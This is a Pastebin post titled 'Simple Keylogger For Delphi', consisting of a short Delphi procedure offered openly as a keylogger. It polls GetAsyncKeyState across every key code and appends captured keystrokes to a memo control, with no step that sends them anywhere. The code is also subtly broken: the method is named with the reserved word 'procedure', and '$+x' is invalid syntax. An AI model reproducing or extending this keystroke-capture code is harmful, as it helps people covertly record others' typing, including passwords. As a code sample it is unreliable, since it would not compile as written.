Advertisement
FlyFar

Simple Keylogger For Delphi

Oct 25th, 2021
220
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 0.53 KB | None | 0 0
  1. procedure TForm1.procedure();
  2. var X,y:integer;
  3. f:char  ;
  4. str:string;
  5. begin
  6. //todas las teclas
  7. For X:=0 to 255 do
  8. begin
  9.   if ((GetAsyncKeyState($+x) and 1) = 1) then
  10.   begin
  11.   if (x<>1) then //if we want to find the ascii code instead:
  12.   begin
  13.   //MEMO1.Lines.Add(inttostr(x)+'$·%&');
  14.   end;
  15.     for y:=0 to listview1.items.Count-1 do //log the key strokes
  16.       begin
  17.        if x=strtoint(listview1.items.item[y].caption) then
  18.        memo1.text:=memo1.Text + (listview1.items.item[y].subitems[0])
  19.      end;
  20.    end;
  21. end;
  22. end;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement